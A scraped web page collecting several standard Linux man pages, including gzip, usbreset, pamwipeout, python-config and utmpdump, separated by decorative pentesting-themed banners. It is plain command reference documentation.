gzip [** -acdfhklLnNrtvV19 ] [-S suffix**] [ name … ]

gunzip [** -acfhklLnNrtvV ] [-S suffix**] [ name … ]
zcat [** -fhLV **] [ name … ]

DESCRIPTION

The gzip command reduces the size of the named files using Lempel-Ziv coding (LZ77). Whenever possible, each file is replaced by one with the extension .gz, while keeping the same ownership modes, access and modification times. (The default extension is z for MSDOS, OS/2 FAT, Windows NT FAT and Atari.) If no files are specified, or if a file name is “-”, the standard input is compressed to the standard output. The gzip command will only attempt to compress regular files. In particular, it will ignore symbolic links.

If the compressed file name is too long for its file system, gzip truncates it. The gzip command attempts to truncate only the parts of the file name longer than 3 characters. (A part is delimited by dots.) If the name consists of small parts only, the longest parts are truncated. For example, if file names are limited to 14 characters, gzip.msdos.exe is compressed to gzi.msd.exe.gz. Names are not truncated on systems which do not have a limit on file name length.

By default, gzip keeps the original file name and timestamp in the compressed file. These are used when decompressing the file with the -N option. This is useful when the compressed file name was truncated or when the timestamp was not preserved after a file transfer.

Compressed files can be restored to their original form using gzip -d or gunzip or zcat. If the original name saved in the compressed file is not suitable for its file system, a new name is constructed from the original one to make it legal.

gunzip takes a list of files on its command line and replaces each file whose name ends with .gz, -gz, .z, -z, or _z (ignoring case) and which begins with the correct magic number with an uncompressed file without the original extension. gunzip also recognizes the special extensions .tgz and .taz as shorthands for .tar.gz and .tar.Z respectively. When compressing, gzip uses the .tgz extension if necessary instead of truncating a file with a .tar extension.

gunzip can currently decompress files created by gzip, zip, compress, compress -H or pack. The detection of the input format is automatic. When using the first two formats, gunzip checks a 32 bit CRC. For pack and gunzip checks the uncompressed length. The standard compress format was not designed to allow consistency checks. However gunzip is sometimes able to detect a bad .Z file. If you get an error when uncompressing a .Z file, do not assume that the .Z file is correct simply because the standard uncompress does not complain. This generally means that the standard uncompress does not check its input, and happily generates garbage output. The SCO compress -H format (lzh compression method) does not include a CRC but also allows some consistency checks.

Files created by zip can be uncompressed by gzip only if they have a single member compressed with the ‘deflation’ method. This feature is only intended to help conversion of tar.zip files to the tar.gz format. To extract a zip file with a single member, use a command like ‘gunzip <foo.zip’ or ‘gunzip -S .zip foo.zip’. To extract zip files with several members, use unzip instead of gunzip.

The zcat command is identical to gunzip -c. (On some systems, zcat may be installed as gzcat to preserve the original link to compress.) zcat uncompresses either a list of files on the command line or its standard input and writes the uncompressed data on standard output. zcat will uncompress files that have the correct magic number whether they have a .gz suffix or not.

The gzip command uses the Lempel-Ziv algorithm used in zip and PKZIP. The amount of compression obtained depends on the size of the input and the distribution of common substrings. Typically, text such as source code or English is reduced by 60-70%. Compression is generally much better than that achieved by LZW (as used in compress), Huffman coding (as used in pack), or adaptive Huffman coding (compact).

Compression is always performed, even if the compressed file is slightly larger than the original. The worst case expansion is a few bytes for the gzip file header, plus 5 bytes per 32 KiB block, or an expansion ratio of 0.015% for large files. The actual number of used disk blocks almost never increases.

gzip normally preserves the mode and modification timestamp of a file when compressing or decompressing. If you have appropriate privileges, it also preserves the file’s owner and group.

OPTIONS

-a –ascii
Ascii text mode: convert end-of-lines using local conventions. This option is supported only on some non-Unix systems. For MSDOS, CR LF is converted to LF when compressing, and LF is converted to CR LF when decompressing.

-c –stdout –to-stdout
Write output on standard output; keep original files unchanged. If there are several input files, the output consists of a sequence of independently compressed members. To obtain better compression, concatenate all input files before compressing them.

-d –decompress –uncompress
Decompress.

-f –force
Force compression or decompression even if the file has multiple links or the corresponding file already exists, or if the compressed data is read from or written to a terminal. If the input data is not in a format recognized by gzip, and if the option –stdout is also given, copy the input data without change to the standard output: let zcat behave as cat. If -f is not given, and when not running in the background, gzip prompts to verify whether an existing file should be overwritten.

-h –help
Display a help screen and quit.

-k –keep
Keep (don’t delete) input files during compression or decompression.

-l –list
For each compressed file, list the following fields:

compressed size: size of the compressed file uncompressed size: size of the uncompressed file ratio: compression ratio (0.0% if unknown) uncompressed_name: name of the uncompressed file

The uncompressed size is given as -1 for files not in gzip format, such as compressed .Z files. To get the uncompressed size for such a file, you can use:

zcat file.Z | wc -c

In combination with the –verbose option, the following fields are also displayed:

method: compression method crc: the 32-bit CRC of the uncompressed data date & time: timestamp for the uncompressed file

The compression methods currently supported are deflate, compress, lzh (SCO compress -H) and pack. The crc is given as ffffffff for a file not in gzip format.

With –name, the uncompressed name, date and time are those stored within the compress file if present.

With –verbose, the size totals and compression ratio for all files is also displayed, unless some sizes are unknown. With –quiet, the title and totals lines are not displayed.

-L –license
Display the gzip license and quit.

-n –no-name
When compressing, do not save the original file name and timestamp by default. (The original name is always saved if the name had to be truncated.) When decompressing, do not restore the original file name if present (remove only the gzip suffix from the compressed file name) and do not restore the original timestamp if present (copy it from the compressed file). This option is the default when decompressing.

-N –name
When compressing, always save the original file name, and save the seconds part of the original modification timestamp if the original is a regular file and its timestamp is at least 1 (1970-01-01 00:00:01 UTC) and is less than 2**32 (2106-02-07 06:28:16 UTC, assuming leap seconds are not counted); this is the default. When decompressing, restore from the saved file name and timestamp if present. This option is useful on systems which have a limit on file name length or when the timestamp has been lost after a file transfer.

-q –quiet
Suppress all warnings.

-r –recursive
Travel the directory structure recursively. If any of the file names specified on the command line are directories, gzip will descend into the directory and compress all the files it finds there (or decompress them in the case of gunzip ).

-S .suf –suffix .suf
When compressing, use suffix .suf instead of .gz. Any non-empty suffix can be given, but suffixes other than .z and .gz should be avoided to avoid confusion when files are transferred to other systems.

When decompressing, add .suf to the beginning of the list of suffixes to try, when deriving an output file name from an input file name.

–synchronous
Use synchronous output. With this option, gzip is less likely to lose data during a system crash, but it can be considerably slower.

-t –test
Test. Check the compressed file integrity then quit.

-v –verbose
Verbose. Display the name and percentage reduction for each file compressed or decompressed.

-V –version
Version. Display the version number and compilation options then quit.

-# –fast –best
Regulate the speed of compression using the specified digit #, where -1 or –fast indicates the fastest compression method (less compression) and -9 or –best indicates the slowest compression method (best compression). The default compression level is -6 (that is, biased towards high compression at expense of speed).

–rsyncable
When you synchronize a compressed file between two computers, this option allows rsync to transfer only files that were changed in the archive instead of the entire archive. Normally, after a change is made to any file in the archive, the compression algorithm can generate a new version of the archive that does not match the previous version of the archive. In this case, rsync transfers the entire new version of the archive to the remote computer. With this option, rsync can transfer only the changed files as well as a small amount of metadata that is required to update the archive structure in the area that was changed.

ADVANCED USAGE

Multiple compressed files can be concatenated. In this case, gunzip will extract all members at once. For example:

gzip -c file1 > foo.gz gzip -c file2 >> foo.gz

Then

gunzip -c foo

is equivalent to

cat file1 file2

In case of damage to one member of a .gz file, other members can still be recovered (if the damaged member is removed). However, you can get better compression by compressing all members at once:

cat file1 file2 | gzip > foo.gz

compresses better than

gzip -c file1 file2 > foo.gz

If you want to recompress concatenated files to get better compression, do:

gzip -cd old.gz | gzip > new.gz

If a compressed file consists of several members, the uncompressed size and CRC reported by the –list option applies to the last member only. If you need the uncompressed size for all members, you can use:

gzip -cd file.gz | wc -c

If you wish to create a single archive file with multiple members so that members can later be extracted independently, use an archiver such as tar or zip. GNU tar supports the -z option to invoke gzip transparently. gzip is designed as a complement to tar, not as a replacement.

ENVIRONMENT

The obsolescent environment variable GZIP can hold a set of default options for gzip. These options are interpreted first and can be overwritten by explicit command line parameters. As this can cause problems when using scripts, this feature is supported only for options that are reasonably likely to not cause too much harm, and gzip warns if it is used. This feature will be removed in a future release of gzip.

You can use an alias or script instead. For example, if gzip is in the directory /usr/bin you can prepend $HOME/bin to your PATH and create an executable script $HOME/bin/gzip containing the following:

#! /bin/sh export PATH=/usr/bin exec gzip -9 “$@”

SEE ALSO

znew(1), zcmp(1), zmore(1), zforce(1), gzexe(1), zip(1), unzip(1), compress(1)

The gzip file format is specified in P. Deutsch, GZIP file format specification version 4.3, <https://www.ietf.org/rfc/rfc1952.txt>, Internet RFC 1952 (May 1996). The zip deflation format is specified in P. Deutsch, DEFLATE Compressed Data Format Specification version 1.3, <https://www.ietf.org/rfc/rfc1951.txt>, Internet RFC 1951 (May 1996).

DIAGNOSTICS

Exit status is normally 0; if an error occurs, exit status is 1. If a warning occurs, exit status is 2.

Usage: gzip [-cdfhklLnNrtvV19] [-S suffix] [file …]
Invalid options were specified on the command line.

file : not in gzip format
The file specified to gunzip has not been compressed.

file : Corrupt input. Use zcat to recover some data.
The compressed file has been damaged. The data up to the point of failure can be recovered using

zcat file > recover

file : compressed with xx bits, can only handle yy bits
File was compressed (using LZW) by a program that could deal with more bits than the decompress code on this machine. Recompress the file with gzip, which compresses better and uses less memory.

file : already has .gz suffix – unchanged
The file is assumed to be already compressed. Rename the file and try again.

file already exists; do you wish to overwrite (y or n)?
Respond “y” if you want the output file to be replaced; “n” if not.

gunzip: corrupt input
A SIGSEGV violation was detected which usually means that the input file has been corrupted.

xx.x% Percentage of the input saved by compression.
(Relevant only for -v and -l.)

– not a regular file or directory: ignored
When the input file is not a regular file or directory, (e.g. a symbolic link, socket, FIFO, device file), it is left unaltered.

– has xx other links: unchanged
The input file has links; it is left unchanged. See ln(1) for more information. Use the -f flag to force compression of multiply-linked files.

CAVEATS

When writing compressed data to a tape, it is generally necessary to pad the output with zeroes up to a block boundary. When the data is read and the whole block is passed to gunzip for decompression, gunzip detects that there is extra trailing garbage after the compressed data and emits a warning by default. You can use the –quiet option to suppress the warning.

BUGS

In some rare cases, the –best option gives worse compression than the default compression level (-6). On some highly redundant files, compress compresses better than gzip.

REPORTING BUGS

Report bugs to: [email protected]
GNU gzip home page: <https://www.gnu.org/software/gzip/>
General help using GNU software: <https://www.gnu.org/gethelp/>

COPYRIGHT NOTICE

Copyright © 1998-1999, 2001-2002, 2012, 2015-2022 Free Software Foundation, Inc.
Copyright © 1992, 1993 Jean-loup Gailly

Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies.

Permission is granted to process this file through troff and print the results, provided the printed document carries copying permission notice identical to this one except for the removal of this paragraph (this paragraph not being relevant to the printed manual).

Permission is granted to copy and distribute modified versions of this manual under the conditions for verbatim copying, provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one.

Permission is granted to copy and distribute translations of this manual into another language, under the above conditions for modified versions, except that this permission notice may be stated in a translation approved by the Foundation.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1751 - Linux cli command x86_64-w64-mingw32-dllwrap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32-dllwrap and provides detailed information about the command x86_64-w64-mingw32-dllwrap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32-dllwrap.

NAME 🖥️ x86_64-w64-mingw32-dllwrap 🖥️

Ancient tool for generating PE style dll’s.

DESCRIPTION

dllwrap is deprecated. You should not use it for any new code. Use ld –shared instead.

OPTIONS

-h, –help
Show summary of options.

AUTHOR

This manual page was written by Ron <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1752 - Linux cli command pkcs7ssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pkcs7ssl and provides detailed information about the command pkcs7ssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pkcs7ssl.

NAME 🖥️ pkcs7ssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1753 - Linux cli command pkeyssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pkeyssl and provides detailed information about the command pkeyssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pkeyssl.

NAME 🖥️ pkeyssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1754 - Linux cli command usbreset

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command usbreset and provides detailed information about the command usbreset, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the usbreset.

NAME 🖥️ usbreset 🖥️

send a USB port reset to a USB device

SYNOPSIS

usbreset [ device ]

DESCRIPTION

usbreset is a utility that performs resets on USB devices. It is particularly useful situations where a USB device is unresponsive or exhibits erratic behavior. The USB device to be reset can be specified in one of three formats:

PPPP:VVVV
Reset by product and vendor IDs

BBB/DDD
Reset by bus and device number

Product
Reset by product name

When run without any arguments, usbreset provides usage information and a list of connected USB devices, including their product and vendor IDs, bus and device numbers, and product names.

RETURN VALUE

If the specified device is not found, a non-zero exit code is returned.

EXAMPLES

Reset device with vendor ID 1234 and product ID 5678:
usbreset 1234:5678

Reset device 002 on bus 001:
usbreset 001:002

Reset device named USB2.0 Hub:
usbreset “USB2.0 Hub”

SEE ALSO

lsusb(8).

AUTHOR

Alan Stern <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1755 - Linux cli command pamwipeout

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamwipeout and provides detailed information about the command pamwipeout, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamwipeout.

.

NAME 🖥️ pamwipeout 🖥️

replace detail with smooth gradient from one edge to the other

SYNOPSIS

pamwipeout {-lr | -tb} [filename]

Minimum unique abbreviation of options is acceptable. You may use double hyphens instead of single hyphen to denote options.

DESCRIPTION

This program is part of Netpbm(1) .

The pamwipeout utility takes a Netpbm image as input and the uses two opposite edges of the image to wipe out anything in between. You can use it in combination with pamcut and pnmpaste / pamcomp to remove unwanted parts of a larger image. The program replaces the pixels in between the two edges with a gradient from one edge to the other.

In top-bottom mode, the program reads the whole image into memory before it can start processing. In left-right it will read the image a row at the time, process that row and write it to the output file. Therefore, in case of very large images, it may be better to use instead of “pamwipeout -tb*” a pipe of “pamflip -cw | pamwipeout -lr | pamflip -ccw”.*

In his blog at www.i-am.ws , the author wrote about a predecessor of “pamwipeout” at the time named “pnmblend”. It shows a good example of what can be accomplished with this utility.

PARAMETERS

Filename is the name of the input file. If you don’t specify this, pamwipeout reads the image from Standard Input.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet*, see* Common Options ), pamwipeout recognizes the following command line options:

-tb | -lr
This option chooses between a vertical and a horizontal gradient. You must specify one of these, but not both.

SEE ALSO

pam(1) and pamflip(1) , pamcut(1) , pamcomp(1) , pnmpaste(1) .

HISTORY

pamwipeout was new in Netpbm 10.54 (March 2011).

AUTHORS

Willem van Schaik wrote this program in January 2011 and contributed it to Netpbm.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamwipeout.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1756 - Linux cli command python31-config

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command python31-config and provides detailed information about the command python31-config, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the python31-config.

NAME 🖥️ python31-config 🖥️

config - output build options for python C/C++ extensions or embedding

SYNOPSIS

python-config [ –prefix ] [ –exec-prefix ] [ –includes ] [ –libs ] [ –cflags ] [ –ldflags ] [ –extension-suffix ] [ –abiflags ] [ –help ]

DESCRIPTION

python-config helps compiling and linking programs, which embed the Python interpreter, or extension modules that can be loaded dynamically (at run time) into the interpreter.

OPTIONS

–abiflags
print the the ABI flags as specified by PEP 3149.

–cflags
print the C compiler flags.

–ldflags
print the flags that should be passed to the linker.

–includes
similar to –cflags but only with -I options (path to python header files).

–libs
similar to –ldflags but only with -l options (used libraries).

–prefix
prints the prefix (base directory) under which python can be found.

–exec-prefix
print the prefix used for executable program directories (such as bin, sbin, etc).

–extension-suffix
print the extension suffix used for binary extensions.

–help
print the usage message.

EXAMPLES

To build the singe-file c program prog against the python library, use

gcc $(python-config –cflags –ldflags) progr.cpp -o progr.cpp

The same in a makefile:

CFLAGS+=$(shell python-config –cflags)

LDFLAGS+=$(shell python-config –ldflags)

all: progr

To build a dynamically loadable python module, use

gcc $(python-config –cflags –ldflags) -shared -fPIC progr.cpp -o progr.so

SEE ALSO

python (1)
http://docs.python.org/extending/extending.html
/usr/share/doc/python/faq/extending.html

AUTHORS

This manual page was written by Johann Felix Soden <[email protected]> for the Debian project (and may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1757 - Linux cli command utmpdump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command utmpdump and provides detailed information about the command utmpdump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the utmpdump.

NAME 🖥️ utmpdump 🖥️

dump UTMP and WTMP files in raw format

SYNOPSIS

utmpdump [options] filename

DESCRIPTION

utmpdump is a simple program to dump UTMP and WTMP files in raw format, so they can be examined. utmpdump reads from stdin unless a filename is passed.

OPTIONS

-f, –follow

Output appended data as the file grows.

-o, –output file

Write command output to file instead of standard output.

-r, –reverse

Undump, write back edited login information into the utmp or wtmp files.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

NOTES

utmpdump can be useful in cases of corrupted utmp or wtmp entries. It can dump out utmp/wtmp to an ASCII file, which can then be edited to remove bogus entries, and reintegrated using:

utmpdump -r < ascii_file > wtmp

But be warned, utmpdump was written for debugging purposes only.

File formats

Only the binary version of the utmp(5) is standardised. Textual dumps may become incompatible in future.

The version 2.28 was the last one that printed text output using ctime(3) timestamp format. Newer dumps use millisecond precision ISO-8601 timestamp format in UTC-0 timezone. Conversion from former timestamp format can be made to binary, although attempt to do so can lead the timestamps to drift amount of timezone offset.

BUGS

You may not use the -r option, as the format for the utmp/wtmp files strongly depends on the input format. This tool was not written for normal use, but for debugging only.

AUTHORS

Michael Krapp

SEE ALSO

last(1), w(1), who(1), utmp(5)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The utmpdump command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
